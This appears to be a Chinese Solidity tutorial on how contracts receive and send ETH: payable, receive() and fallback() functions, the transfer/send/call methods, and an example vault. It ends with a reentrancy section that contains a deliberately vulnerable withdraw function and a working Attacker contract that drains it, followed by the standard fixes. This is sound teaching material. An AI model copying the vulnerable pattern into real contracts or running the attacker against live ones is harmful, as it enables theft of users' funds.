当前位置: 首页 > news >正文

收款方式

🧾 1. 合约收款方式

payable修饰符

function funcName() public payable() {}

🔹 receive() 函数

✅ 用途

当合约收到纯 ETH 转账(例如 address(this).transfer()address(this).send())且没有调用数据(data为空)时,会调用 receive() 函数。

语法

receive() external payable {     // 收款逻辑 }
  • external:只能被外部调用。

  • payable:允许接收 ETH。

  • 不能有参数,也不能返回值。

  • 每个合约只能有一个 receive() 函数

✅ 使用场景

contract MyContract {event Received(address sender, uint amount);receive() external payable {emit Received(msg.sender, msg.value);}
}

🔹 fallback() 函数

✅ 用途

  • 当调用合约函数时,找不到对应函数签名

  • 或者调用时带有数据,但合约中没有 receive() 函数可调用

会触发 fallback() 函数。

✅ 语法(两种)

1. 允许收款:
fallback() external payable {     // fallback 收款逻辑 }
2. 不收款,仅响应错误调用:
fallback() external {     // fallback 非 payable,不能接收 ETH }

``

✅ 使用场景

contract MyContract {event FallbackCalled(address sender, uint amount, bytes data);fallback() external payable {emit FallbackCalled(msg.sender, msg.value, msg.data);}
}

📊 receive vs fallback 对比总结

特性 receive() fallback()
是否能接收 ETH 是(必须是 payable 可选(payable 或不写)
是否接收 data 否(data 必须为空) 是(data 非空或无函数匹配)
是否必须存在 否(可选) 否(可选)
常见触发条件 纯 ETH 转账,无数据 错误调用或带 data 转账

🧠 实战建议

  • 如果你只是想接收纯 ETH,可以只写 receive() payable

  • 如果你想对任何未知调用做处理(比如 proxy、日志记录),就用 fallback()

  • 如果两者都写了,Solidity 会优先调用 receive(),只在 data 不为空时才会调用 fallback()


📥 2. 查看合约收到的余额

address(this).balance
  • 返回当前合约地址的 ETH 余额(单位为 wei)

💸 3. 合约向外转账的三种方式

转给 外部账户、合约账户

✅ address.transfer

payable(msg.sender).transfer(1 ether);
  • 固定 2300 gas,失败自动 revert

✅ address.send

bool success = payable(msg.sender).send(1 ether);
require(success, "Send failed");
  • 同样只提供 2300 gas,但需要手动检查返回值

✅ call(推荐)

(bool success, ) = payable(msg.sender).call{value: 1 ether}("");
require(success, "Call failed");
  • 可调 gas,兼容新版本,官方推荐方式

🛡️ 4. 安全建议

  • 使用 call 替代 transfer / send,避免 Out of Gas 错误

  • 使用 ReentrancyGuard 防止重入攻击

  • 避免在 receive() 中执行复杂逻辑


🔐 5. 示例:收款和提款合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;contract Vault {address public owner;constructor() {owner = msg.sender;}receive() external payable {}function withdraw() external {require(msg.sender == owner, "Not owner");(bool success, ) = payable(owner).call{value: address(this).balance}("");require(success, "Withdraw failed");}function getBalance() external view returns (uint) {return address(this).balance;}
}

⚠️ 6. 重入攻击(Reentrancy Attack)

🐞 什么是重入攻击?

当合约调用外部地址(如 call 转账)时,如果该地址是一个合约,它可以在未完成前一次调用前,反复调用回原合约的函数,造成重复提现等安全问题。

🎬 攻击演示:易受攻击的合约

// VulnerableVault.sol
contract VulnerableVault {mapping(address => uint) public balances;function deposit() external payable {balances[msg.sender] += msg.value;}function withdraw() external {require(balances[msg.sender] > 0, "No balance");// 发送 ETH(外部调用,容易被攻击者重入)(bool success, ) = msg.sender.call{value: balances[msg.sender]}("");require(success, "Transfer failed");// 更新余额(放在调用后,导致漏洞)balances[msg.sender] = 0;}
}

🧨 攻击者合约

// Attacker.sol
contract Attacker {VulnerableVault public target;constructor(address _target) {target = VulnerableVault(_target);}// 回调函数,趁机再次提取receive() external payable {if (address(target).balance > 1 ether) {target.withdraw();}}function attack() external payable {require(msg.value >= 1 ether, "Need 1 ETH");target.deposit{value: 1 ether}();target.withdraw();}
}

流程说明

  • 👤 用户向 VulnerableVault 合约 deposit() 存入 1 ETH

  • 🧑‍💻 攻击者调用 withdraw(),触发合约转账 call

  • 🧠 攻击者合约在 receive() 中再次调用 withdraw()

  • 🔁 因为合约尚未更新 balances,攻击者可多次提取

  • 🏴 合约余额被掏空,攻击成功


🛡️ 如何防止重入攻击?

✅ 使用“检查-效果-交互”模式:

function withdraw() external {uint amount = balances[msg.sender];require(amount > 0, "No balance");// 先更新状态balances[msg.sender] = 0;// 再转账(外部调用)(bool success, ) = msg.sender.call{value: amount}("");require(success, "Transfer failed");
}

✅ 使用 ReentrancyGuard(OpenZeppelin 提供)

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";contract SecureVault is ReentrancyGuard {mapping(address => uint) public balances;function deposit() external payable {balances[msg.sender] += msg.value;}function withdraw() external nonReentrant {uint amount = balances[msg.sender];require(amount > 0, "No balance");balances[msg.sender] = 0;(bool success, ) = msg.sender.call{value: amount}("");require(success, "Transfer failed");}
}

🎯 小结

防御措施 说明
状态更新在前 防止多次调用利用旧状态
使用 ReentrancyGuard 简洁防御,适合大多数场景
限制外部合约调用 检查 tx.origin 或设白名单

http://www.sczhlp.com/news/10783/

相关文章:

  • 地址类型
  • 题解:B4372 [GXPC-S 2025] 异或之力 / xor
  • 关键字this、就近原则
  • 配置ubuntu网卡
  • ubuntu apt工具详解
  • rpm和yum工具详解
  • PyTorch 的 CRNN 验证码识别 全流程实战
  • 基于 PyTorch 的 CRNN 验证码识别 全流程实战
  • 滑动时间窗口和固定时间窗口的区别
  • 一文讲懂引用传递与值传递
  • 有向图
  • 江科大10-2DS1302可调时钟-个人优化版
  • 3.4.4~3.4.6
  • [瞄准辅助] 实现一种柔和平滑的瞄准辅助
  • 行测2
  • 网络流
  • 机器学习模型漏洞的发现与防御技术
  • 【从零开始实现stm32无刷电机FOC】【实践1/3】 stm32高级定时器
  • Windows 10静默漏洞缓解机制:专为1%人群设计的NtLoadKey3系统调用
  • 初二新初三集训 Part 1
  • 常用命令 - Charlie
  • 2025最新整理PyCharm 2024下载安装教程加免费激活教程
  • R语言绘制单倍型热图
  • # 把时间当作朋友:高效管理的四个关键认知
  • 2025.8.12打卡
  • P3700 [CQOI2017] 小 Q 的表格 题目分析
  • Oracle DBA必备工具:11G命令自定义创建数据库脚本
  • CF2128游记
  • 02011001 语句
  • 75. 颜色分类